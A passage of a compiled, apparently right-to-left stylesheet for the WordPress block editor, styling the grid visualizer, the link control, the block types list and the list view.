  pointer-events:all;
}
.block-editor-grid-visualizer.block-editor-grid-visualizer.block-editor-grid-visualizer .block-editor-inserter *{
  pointer-events:auto;
}

.block-editor-grid-visualizer__grid{
  display:grid;
  position:absolute;
}

.block-editor-grid-visualizer__cell{
  display:grid;
  position:relative;
}
.block-editor-grid-visualizer__cell .block-editor-inserter{
  bottom:0;
  color:inherit;
  left:0;
  overflow:hidden;
  position:absolute;
  right:0;
  top:0;
  z-index:32;
}
.block-editor-grid-visualizer__cell .block-editor-inserter .block-editor-grid-visualizer__appender{
  box-shadow:inset 0 0 0 1px color-mix(in srgb, currentColor 20%, #0000);
  color:inherit;
  height:100%;
  opacity:0;
  overflow:hidden;
  padding:0 !important;
  width:100%;
}
.block-editor-grid-visualizer__cell.is-highlighted .block-editor-grid-visualizer__drop-zone,.block-editor-grid-visualizer__cell.is-highlighted .block-editor-inserter{
  background:var(--wp-admin-theme-color);
}
.block-editor-grid-visualizer__cell .block-editor-grid-visualizer__appender:focus,.block-editor-grid-visualizer__cell:hover .block-editor-grid-visualizer__appender{
  background-color:color-mix(in srgb, currentColor 20%, #0000);
  opacity:1;
}

.block-editor-grid-visualizer__drop-zone{
  background:#cccccc1a;
  grid-column:1;
  grid-row:1;
  height:100%;
  min-height:8px;
  min-width:8px;
  width:100%;
}

.block-editor-grid-item-resizer.block-editor-grid-item-resizer.block-editor-grid-item-resizer{
  z-index:30;
}
.block-editor-grid-item-resizer.block-editor-grid-item-resizer.block-editor-grid-item-resizer .components-popover__content *{
  pointer-events:none;
}

.block-editor-grid-item-resizer__box{
  border:1px solid var(--wp-admin-theme-color);
}
.block-editor-grid-item-resizer__box .components-resizable-box__handle.components-resizable-box__handle.components-resizable-box__handle{
  pointer-events:all;
}

.block-editor-grid-item-mover__move-button-container{
  border:none;
  display:flex;
  justify-content:center;
  padding:0;
}
.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button{
  min-width:0 !important;
  padding-left:0;
  padding-right:0;
  width:24px;
}
.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button svg{
  min-width:24px;
}
.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button:before{
  border-radius:2px;
  content:"";
  display:block;
  height:32px;
  left:8px;
  position:absolute;
  right:8px;
  z-index:-1;
}
@media not (prefers-reduced-motion){
  .block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button:before{
    animation:components-button__appear-animation .1s ease;
    animation-fill-mode:forwards;
  }
}
.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button:focus,.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button:focus:before,.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button:focus:enabled{
  box-shadow:none;
  outline:none;
}
.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button:focus-visible:before{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}

.block-editor-grid-item-mover__move-vertical-button-container{
  display:flex;
  position:relative;
}
@media (min-width:600px){
  .block-editor-grid-item-mover__move-vertical-button-container{
    flex-direction:column;
    justify-content:space-around;
  }
  .block-editor-grid-item-mover__move-vertical-button-container>.block-editor-grid-item-mover-button.block-editor-grid-item-mover-button{
    height:20px !important;
    min-width:0 !important;
    width:100%;
  }
  .block-editor-grid-item-mover__move-vertical-button-container>.block-editor-grid-item-mover-button.block-editor-grid-item-mover-button:before{
    height:calc(100% - 4px);
  }
  .block-editor-grid-item-mover__move-vertical-button-container .block-editor-grid-item-mover-button.is-down-button svg,.block-editor-grid-item-mover__move-vertical-button-container .block-editor-grid-item-mover-button.is-up-button svg{
    flex-shrink:0;
    height:20px;
  }
  .editor-collapsible-block-toolbar .block-editor-grid-item-mover__move-vertical-button-container{
    height:40px;
    position:relative;
    top:-5px;
  }
}

.show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container{
  position:relative;
}
@media (min-width:600px){
  .show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container:before{
    background:#e0e0e0;
    content:"";
    height:100%;
    position:absolute;
    top:0;
    width:1px;
  }
}
@media (min-width:782px){
  .show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container:before{
    background:#1e1e1e;
  }
}
.show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container.is-left{
  padding-left:6px;
}
.show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container.is-left:before{
  left:0;
}
.show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container.is-right{
  padding-right:6px;
}
.show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container.is-right:before{
  right:0;
}
@media (min-width:600px){
  .show-icon-labels .block-editor-grid-item-mover__move-vertical-button-container:before{
    background:#e0e0e0;
    content:"";
    height:1px;
    margin-top:-.5px;
    position:absolute;
    right:50%;
    top:50%;
    transform:translate(50%);
    width:100%;
  }
}
@media (min-width:782px){
  .show-icon-labels .block-editor-grid-item-mover__move-vertical-button-container:before{
    background:#1e1e1e;
  }
}
.show-icon-labels .block-editor-grid-item-mover-button{
  white-space:nowrap;
}
.show-icon-labels .editor-collapsible-block-toolbar .block-editor-grid-item-mover__move-horizontal-button-container:before{
  background:#ddd;
  height:24px;
  top:4px;
}
.show-icon-labels .editor-collapsible-block-toolbar .block-editor-grid-item-mover__move-vertical-button-container:before{
  background:#ddd;
  width:calc(100% - 24px);
}

.block-editor-height-control{
  border:0;
  margin:0;
  padding:0;
}

.block-editor-iframe__container{
  height:100%;
  width:100%;
}

.block-editor-iframe__scale-container{
  height:100%;
}

.block-editor-iframe__scale-container.is-zoomed-out{
  left:0;
  position:absolute;
  width:var(--wp-block-editor-iframe-zoom-out-scale-container-width, 100vw);
}

.block-editor-image-size-control{
  margin-bottom:1em;
}
.block-editor-image-size-control .block-editor-image-size-control__height,.block-editor-image-size-control .block-editor-image-size-control__width{
  margin-bottom:1.115em;
}

.block-editor-block-types-list__list-item{
  display:block;
  margin:0;
  padding:0;
  width:33.33%;
}
.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled) .block-editor-block-icon.has-colors{
  color:var(--wp-block-synced-color);
}
.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled):hover .block-editor-block-types-list__item-title{
  color:var(--wp-block-synced-color) !important;
  filter:brightness(.95);
}
.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled):hover svg{
  color:var(--wp-block-synced-color) !important;
}
.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled):after{
  background:var(--wp-block-synced-color);
}

.components-button.block-editor-block-types-list__item{
  align-items:stretch;
  background:#0000;
  color:#1e1e1e;
  cursor:pointer;
  display:flex;
  flex-direction:column;
  font-size:13px;
  height:auto;
  justify-content:center;
  padding:8px;
  position:relative;
  width:100%;
  word-break:break-word;
}
@media not (prefers-reduced-motion){
  .components-button.block-editor-block-types-list__item{
    transition:all .05s ease-in-out;
  }
}
.components-button.block-editor-block-types-list__item:disabled{
  cursor:default;
  opacity:.6;
}
.components-button.block-editor-block-types-list__item:not(:disabled):hover .block-editor-block-types-list__item-title{
  color:var(--wp-admin-theme-color) !important;
  filter:brightness(.95);
}
.components-button.block-editor-block-types-list__item:not(:disabled):hover svg{
  color:var(--wp-admin-theme-color) !important;
}
.components-button.block-editor-block-types-list__item:not(:disabled):hover:after{
  background:var(--wp-admin-theme-color);
  border-radius:2px;
  bottom:0;
  content:"";
  left:0;
  opacity:.04;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.components-button.block-editor-block-types-list__item:not(:disabled):focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.components-button.block-editor-block-types-list__item:not(:disabled).is-active{
  background:#1e1e1e;
  color:#fff;
  outline:2px solid #0000;
  outline-offset:-2px;
}

.block-editor-block-types-list__item-icon{
  color:#1e1e1e;
  padding:12px 20px;
}
@media not (prefers-reduced-motion){
  .block-editor-block-types-list__item-icon{
    transition:all .05s ease-in-out;
  }
}
.block-editor-block-types-list__item-icon .block-editor-block-icon{
  margin-left:auto;
  margin-right:auto;
}
@media not (prefers-reduced-motion){
  .block-editor-block-types-list__item-icon svg{
    transition:all .15s ease-out;
  }
}
.block-editor-block-types-list__list-item[draggable=true] .block-editor-block-types-list__item-icon{
  cursor:grab;
}

.block-editor-block-types-list__item-title{
  font-size:12px;
  hyphens:auto;
  padding:4px 2px 8px;
}

.block-editor-block-inspector__tabs [role=tablist]{
  width:100%;
}

.block-editor-inspector-popover-header{
  margin-bottom:16px;
}

.items-justified-left{
  justify-content:flex-start;
}

.items-justified-center{
  justify-content:center;
}

.items-justified-right{
  justify-content:flex-end;
}

.items-justified-space-between{
  justify-content:space-between;
}

@keyframes loadingpulse{
  0%{
    opacity:1;
  }
  50%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
.block-editor-link-control{
  min-width:350px;
  position:relative;
}
.components-popover__content .block-editor-link-control{
  max-width:350px;
  min-width:auto;
  width:90vw;
}
.show-icon-labels .block-editor-link-control .components-button.has-icon svg{
  display:none;
}
.show-icon-labels .block-editor-link-control .components-button.has-icon:before{
  content:attr(aria-label);
}
.show-icon-labels .block-editor-link-control .block-editor-link-control__search-item-top{
  flex-wrap:wrap;
  gap:4px;
}
.show-icon-labels .block-editor-link-control .block-editor-link-control__search-item-top .components-button.has-icon{
  padding:4px;
  width:auto;
}
.show-icon-labels .block-editor-link-control .is-preview .block-editor-link-control__search-item-header{
  margin-left:0;
  min-width:100%;
}

.block-editor-link-control__search-input-wrapper{
  margin-bottom:8px;
  position:relative;
}

.block-editor-link-control__search-input-container,.block-editor-link-control__search-input-wrapper{
  position:relative;
}

.block-editor-link-control__field{
  margin:16px;
}
.block-editor-link-control__field .components-base-control__label{
  color:#1e1e1e;
}

.block-editor-link-control__search-error{
  margin:-8px 16px 16px;
}

.block-editor-link-control__search-actions{
  padding:8px 16px 16px;
}

.block-editor-link-control__search-results-wrapper{
  position:relative;
}
.block-editor-link-control__search-results-wrapper:after,.block-editor-link-control__search-results-wrapper:before{
  content:"";
  display:block;
  left:16px;
  pointer-events:none;
  position:absolute;
  right:-1px;
  z-index:100;
}
.block-editor-link-control__search-results-wrapper:before{
  bottom:auto;
  height:8px;
  top:0;
}
.block-editor-link-control__search-results-wrapper:after{
  bottom:0;
  height:16px;
  top:auto;
}

.block-editor-link-control__search-results{
  margin-top:-16px;
  max-height:200px;
  overflow-y:auto;
  padding:8px;
}
.block-editor-link-control__search-results.is-loading{
  opacity:.2;
}

.block-editor-link-control__search-item.components-button.components-menu-item__button{
  height:auto;
  text-align:right;
}
.block-editor-link-control__search-item .components-menu-item__item{
  display:inline-block;
  overflow:hidden;
  text-overflow:ellipsis;
  width:100%;
}
.block-editor-link-control__search-item .components-menu-item__item mark{
  background-color:initial;
  color:inherit;
  font-weight:600;
}
.block-editor-link-control__search-item .components-menu-item__shortcut{
  color:#757575;
  text-transform:capitalize;
  white-space:nowrap;
}
.block-editor-link-control__search-item[aria-selected]{
  background:#f0f0f0;
}
.block-editor-link-control__search-item.is-current{
  background:#0000;
  border:0;
  cursor:default;
  flex-direction:column;
  padding:16px;
  width:100%;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-header{
  align-items:center;
  display:block;
  flex-direction:row;
  gap:8px;
  margin-left:8px;
  overflow-wrap:break-word;
  white-space:pre-wrap;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-header .block-editor-link-control__search-item-info{
  color:#757575;
  font-size:12px;
  line-height:1.1;
  word-break:break-all;
}
.block-editor-link-control__search-item.is-preview .block-editor-link-control__search-item-header{
  display:flex;
  flex:1;
}
.block-editor-link-control__search-item.is-error .block-editor-link-control__search-item-header{
  align-items:center;
}
.block-editor-link-control__search-item.is-url-title .block-editor-link-control__search-item-title{
  word-break:break-all;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-details{
  display:flex;
  flex-direction:column;
  gap:4px;
  justify-content:space-between;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-header .block-editor-link-control__search-item-icon{
  background-color:#f0f0f0;
  border-radius:2px;
  height:32px;
  width:32px;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-icon{
  align-items:center;
  display:flex;
  flex-shrink:0;
  justify-content:center;
  position:relative;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-icon img{
  width:16px;
}
.block-editor-link-control__search-item.is-error .block-editor-link-control__search-item-icon{
  max-height:32px;
  top:0;
  width:32px;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-title{
  line-height:1.1;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-title:focus{
  box-shadow:none;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-title:focus-visible{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
  text-decoration:none;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-title mark{
  background-color:initial;
  color:inherit;
  font-weight:600;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-title span{
  font-weight:400;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-title .components-external-link__icon{
  height:1px;
  margin:-1px;
  overflow:hidden;
  padding:0;
  position:absolute;
  width:1px;
  clip:rect(0, 0, 0, 0);
  border:0;
}

.block-editor-link-control__search-item-top{
  align-items:center;
  display:flex;
  flex-direction:row;
  width:100%;
}

.block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon img,.block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon svg{
  opacity:0;
}
.block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon:before{
  background-color:#f0f0f0;
  border-radius:100%;
  bottom:0;
  content:"";
  display:block;
  left:0;
  position:absolute;
  right:0;
  top:0;
}
@media not (prefers-reduced-motion){
  .block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon:before{
    animation:loadingpulse 1s linear infinite;
    animation-delay:.5s;
  }
}

.block-editor-link-control__loading{
  align-items:center;
  display:flex;
  margin:16px;
}
.block-editor-link-control__loading .components-spinner{
  margin-top:0;
}

.components-button+.block-editor-link-control__search-create{
  overflow:visible;
  padding:12px 16px;
}
.components-button+.block-editor-link-control__search-create:before{
  content:"";
  display:block;
  position:absolute;
  right:0;
  top:-10px;
  width:100%;
}

.block-editor-link-control__search-create{
  align-items:center;
}
.block-editor-link-control__search-create .block-editor-link-control__search-item-title{
  margin-bottom:0;
}
.block-editor-link-control__search-create .block-editor-link-control__search-item-icon{
  top:0;
}

.block-editor-link-control__drawer-inner{
  display:flex;
  flex-basis:100%;
  flex-direction:column;
  position:relative;
}

.block-editor-link-control__setting{
  flex:1;
  margin-bottom:0;
  padding:8px 24px 8px 0;
}
.block-editor-link-control__setting .components-base-control__field{
  display:flex;
}
.block-editor-link-control__setting .components-base-control__field .components-checkbox-control__label{
  color:#1e1e1e;
}
.block-editor-link-control__setting input{
  margin-right:0;
}
.is-preview .block-editor-link-control__setting{
  padding:20px 0 8px 8px;
}

.block-editor-link-control__tools{
  margin-top:-16px;
  padding:8px 8px 0;
}
.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle{
  gap:0;
  padding-right:0;
}
.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=true]{
  color:#1e1e1e;
}
.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=true] svg{
  transform:rotate(-90deg);
  visibility:visible;
}
@media not (prefers-reduced-motion){
  .block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=true] svg{
    transition:transform .1s ease;
  }
}
.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=false] svg{
  transform:rotate(0deg);
  visibility:visible;
}
@media not (prefers-reduced-motion){
  .block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=false] svg{
    transition:transform .1s ease;
  }
}

.block-editor-link-control .block-editor-link-control__search-input .components-spinner{
  display:block;
}
.block-editor-link-control .block-editor-link-control__search-input .components-spinner.components-spinner{
  bottom:auto;
  left:40px;
  position:absolute;
  right:auto;
  top:calc(50% - 8px);
}

.block-editor-link-control .block-editor-link-control__search-input-wrapper.has-actions .components-spinner{
  left:12px;
  top:calc(50% + 4px);
}

.block-editor-list-view-tree{
  border-collapse:collapse;
  margin:0;
  padding:0;
  width:100%;
}
.components-modal__content .block-editor-list-view-tree{
  margin:-12px -6px 0;
  width:calc(100% + 12px);
}
.block-editor-list-view-tree.is-dragging tbody{
  pointer-events:none;
}

.block-editor-list-view-leaf{
  position:relative;
  transform:translateY(0);
}
.block-editor-list-view-leaf.is-draggable,.block-editor-list-view-leaf.is-draggable .block-editor-list-view-block-contents{
  cursor:grab;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button[aria-expanded=true]{
  color:inherit;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button:hover{
  color:var(--wp-admin-theme-color);
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button svg{
  fill:currentColor;
}
@media (forced-colors:active){
  .block-editor-list-view-leaf .block-editor-list-view-block-select-button svg{
    fill:CanvasText;
  }
}
.is-dragging-components-draggable .block-editor-list-view-leaf:not(.is-selected) .block-editor-list-view-block-select-button:hover{
  color:inherit;
}
.block-editor-list-view-leaf.is-selected td{
  background:var(--wp-admin-theme-color);
}
.block-editor-list-view-leaf.is-selected.is-synced td{
  background:var(--wp-block-synced-color);
}
.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents .block-editor-block-icon,.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents:focus,.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents:hover{
  color:var(--wp-block-synced-color);
}
.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents:focus:after{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color);
}
.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-contents,.block-editor-list-view-leaf.is-selected .components-button.has-icon{
  color:#fff;
}
.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-contents:focus:after{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.block-editor-list-view-leaf.is-selected.is-synced .block-editor-list-view-block-contents:focus:after{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color);
}
.block-editor-list-view-leaf.is-selected .block-editor-list-view-block__menu:focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #fff;
}
.block-editor-list-view-leaf.is-first-selected td:first-child{
  border-top-right-radius:2px;
}
.block-editor-list-view-leaf.is-first-selected td:last-child{
  border-top-left-radius:2px;
}
.block-editor-list-view-leaf.is-last-selected td:first-child{
  border-bottom-right-radius:2px;
}
.block-editor-list-view-leaf.is-last-selected td:last-child{
  border-bottom-left-radius:2px;
}
.block-editor-list-view-leaf.is-branch-selected:not(.is-selected):not(.is-synced-branch){
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
}
.block-editor-list-view-leaf.is-synced-branch.is-branch-selected{
  background:rgba(var(--wp-block-synced-color--rgb), .04);
}
.block-editor-list-view-leaf.is-branch-selected.is-first-selected td:first-child{
  border-top-right-radius:2px;
}
.block-editor-list-view-leaf.is-branch-selected.is-first-selected td:last-child{
  border-top-left-radius:2px;
}
.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-first-selected td:first-child{
  border-top-right-radius:2px;
}
.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-first-selected td:last-child{
  border-top-left-radius:2px;
}
.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-last-selected td:first-child{
  border-bottom-right-radius:2px;
}
.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-last-selected td:last-child{
  border-bottom-left-radius:2px;
}
.block-editor-list-view-leaf.is-branch-selected:not(.is-selected) td{
  border-radius:0;
}
.block-editor-list-view-leaf.is-displacement-normal{
  transform:translateY(0);
}
@media not (prefers-reduced-motion){
  .block-editor-list-view-leaf.is-displacement-normal{
    transition:transform .2s;
  }
}
.block-editor-list-view-leaf.is-displacement-up{
  transform:translateY(-32px);
}
@media not (prefers-reduced-motion){
  .block-editor-list-view-leaf.is-displacement-up{
    transition:transform .2s;
  }
}
.block-editor-list-view-leaf.is-displacement-down{
  transform:translateY(32px);
}
@media not (prefers-reduced-motion){
  .block-editor-list-view-leaf.is-displacement-down{
    transition:transform .2s;
  }
}
.block-editor-list-view-leaf.is-after-dragged-blocks{
  transform:translateY(calc(var(--wp-admin--list-view-dragged-items-height, 32px)*-1));
}
@media not (prefers-reduced-motion){
  .block-editor-list-view-leaf.is-after-dragged-blocks{
    transition:transform .2s;
  }
}
.block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-up{
  transform:translateY(calc(-32px + var(--wp-admin--list-view-dragged-items-height, 32px)*-1));
}
@media not (prefers-reduced-motion){
  .block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-up{
    transition:transform .2s;
  }
}
.block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-down{
  transform:translateY(calc(32px + var(--wp-admin--list-view-dragged-items-height, 32px)*-1));
}
@media not (prefers-reduced-motion){
  .block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-down{
    transition:transform .2s;
  }
}
.block-editor-list-view-leaf.is-dragging{
  opacity:0;
  pointer-events:none;
  right:0;
  z-index:-9999;
}
.block-editor-list-view-leaf .block-editor-list-view-block-contents{
  align-items:center;
  border-radius:2px;
  box-sizing:border-box;
  color:inherit;
  display:flex;
  font-family:inherit;
  font-size:13px;
  font-weight:400;
  height:32px;
  margin:0;
  padding:6px 0 6px 4px;
  position:relative;
  text-align:right;
  text-decoration:none;
  white-space:nowrap;
  width:100%;
}
@media not (prefers-reduced-motion){
  .block-editor-list-view-leaf .block-editor-list-view-block-contents{
    transition:box-shadow .1s linear;
  }
}
.components-modal__content .block-editor-list-view-leaf .block-editor-list-view-block-contents{
  padding-left:0;
  padding-right:0;
}
.block-editor-list-view-leaf .block-editor-list-view-block-contents:focus,.block-editor-list-view-leaf.is-nesting .block-editor-list-view-block-contents{
  box-shadow:none;
}
.block-editor-list-view-leaf .block-editor-list-view-block-contents:focus:after,.block-editor-list-view-leaf.is-nesting .block-editor-list-view-block-contents:after{
  border-radius:inherit;
  bottom:0;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  content:"";
  left:-29px;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
  z-index:2;
}
.block-editor-list-view-leaf.has-single-cell .block-editor-list-view-block-contents:focus:after{
  left:0;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu:focus,.block-editor-list-view-leaf.is-nesting .block-editor-list-view__menu{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  z-index:1;
}
.block-editor-list-view-leaf.is-visible .block-editor-list-view-block-contents{
  opacity:1;
}
@keyframes __wp-base-styles-fade-in{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
@media not (prefers-reduced-motion){
  .block-editor-list-view-leaf.is-visible .block-editor-list-view-block-contents{
    animation:__wp-base-styles-fade-in .08s linear 0s;
    animation-fill-mode:forwards;
  }
}
.block-editor-list-view-leaf .block-editor-block-icon{
  flex:0 0 24px;
  margin-left:4px;
}
.block-editor-list-view-leaf .block-editor-list-view-block__contents-cell,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell{
  padding:0;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell{
  line-height:0;
  vertical-align:middle;
  width:36px;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell>*{
  opacity:0;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell.is-visible>*,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell:focus-within>*,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell:hover>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell.is-visible>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell:focus-within>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell:hover>*{
  opacity:1;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell .components-button.has-icon,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell .components-button.has-icon{
  min-width:24px;
  padding:0;
  width:24px;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell{
  padding-left:4px;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell .components-button.has-icon{
  height:24px;
}
.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell-alignment-wrapper{
  align-items:center;
  display:flex;
  flex-direction:column;
  height:100%;
}
.block-editor-list-view-leaf .block-editor-block-mover-button{
  height:24px;
  position:relative;
  width:36px;
}
.block-editor-list-view-leaf .block-editor-block-mover-button svg{
  height:24px;
  position:relative;
}
.block-editor-list-view-leaf .block-editor-block-mover-button.is-up-button{
  align-items:flex-end;
  margin-top:-6px;
}
.block-editor-list-view-leaf .block-editor-block-mover-button.is-up-button svg{
  bottom:-4px;
}
.block-editor-list-view-leaf .block-editor-block-mover-button.is-down-button{
  align-items:flex-start;
  margin-bottom:-6px;
}
.block-editor-list-view-leaf .block-editor-block-mover-button.is-down-button svg{
  top:-4px;
}
.block-editor-list-view-leaf .block-editor-block-mover-button:before{
  height:16px;
  left:0;
  min-width:100%;
  right:0;
}
.block-editor-list-view-leaf .block-editor-inserter__toggle{
  background:#1e1e1e;
  color:#fff;
  height:24px;
  margin:6px 1px 6px 6px;
  min-width:24px;
}
.block-editor-list-view-leaf .block-editor-inserter__toggle:active{
  color:#fff;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__label-wrapper svg{
  position:relative;
  right:2px;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__title{
  flex:1;
  position:relative;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__title .components-truncate{
  position:absolute;
  transform:translateY(-50%);
  width:100%;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__anchor-wrapper{
  max-width:min(110px, 40%);
  position:relative;
  width:100%;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__anchor{
  left:0;
  position:absolute;
  transform:translateY(-50%);
}
.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-select-button__anchor{
  background:#0000004d;
  color:#fff;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__lock,.block-editor-list-view-leaf .block-editor-list-view-block-select-button__sticky{
  line-height:0;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__images{
  display:flex;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__image{
  background-size:cover;
  border-radius:1px;
  height:18px;
  width:18px;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__image:not(:only-child){
  box-shadow:0 0 0 2px #fff;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__image:not(:first-child){
  margin-right:-6px;
}
.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-select-button__image:not(:only-child){
  box-shadow:0 0 0 2px var(--wp-admin-theme-color);
}

.block-editor-list-view-draggable-chip{
  opacity:.8;
}

.block-editor-list-view-appender__cell .block-editor-list-view-appender__container,.block-editor-list-view-appender__cell .block-editor-list-view-block__contents-container,.block-editor-list-view-block__contents-cell .block-editor-list-view-appender__container,.block-editor-list-view-block__contents-cell .block-editor-list-view-block__contents-container{
  display:flex;
}

.block-editor-list-view__expander{
  cursor:pointer;
  height:24px;
  width:24px;
}

.block-editor-list-view-leaf[aria-level] .block-editor-list-view__expander{
  margin-right:192px;
}

.block-editor-list-view-leaf[aria-level="1"] .block-editor-list-view__expander{
  margin-right:0;
}

.block-editor-list-view-leaf[aria-level="2"] .block-editor-list-view__expander{
  margin-right:24px;
}

.block-editor-list-view-leaf[aria-level="3"] .block-editor-list-view__expander{
  margin-right:48px;
}

.block-editor-list-view-leaf[aria-level="4"] .block-editor-list-view__expander{
  margin-right:72px;
}

.block-editor-list-view-leaf[aria-level="5"] .block-editor-list-view__expander{
  margin-right:96px;
}

.block-editor-list-view-leaf[aria-level="6"] .block-editor-list-view__expander{
  margin-right:120px;
}

.block-editor-list-view-leaf[aria-level="7"] .block-editor-list-view__expander{
  margin-right:144px;
}

.block-editor-list-view-leaf[aria-level="8"] .block-editor-list-view__expander{
  margin-right:168px;
}

.block-editor-list-view-leaf .block-editor-list-view__expander{
  visibility:hidden;
}

.block-editor-list-view-leaf[data-expanded=true] .block-editor-list-view__expander svg{
  transform:rotate(-90deg);
  visibility:visible;
}
@media not (prefers-reduced-motion){
  .block-editor-list-view-leaf[data-expanded=true] .block-editor-list-view__expander svg{
    transition:transform .2s ease;
  }
}

.block-editor-list-view-leaf[data-expanded=false] .block-editor-list-view__expander svg{
  transform:rotate(0deg);
  visibility:visible;
}
@media not (prefers-reduced-motion){
  .block-editor-list-view-leaf[data-expanded=false] .block-editor-list-view__expander svg{
    transition:transform .2s ease;
  }
}

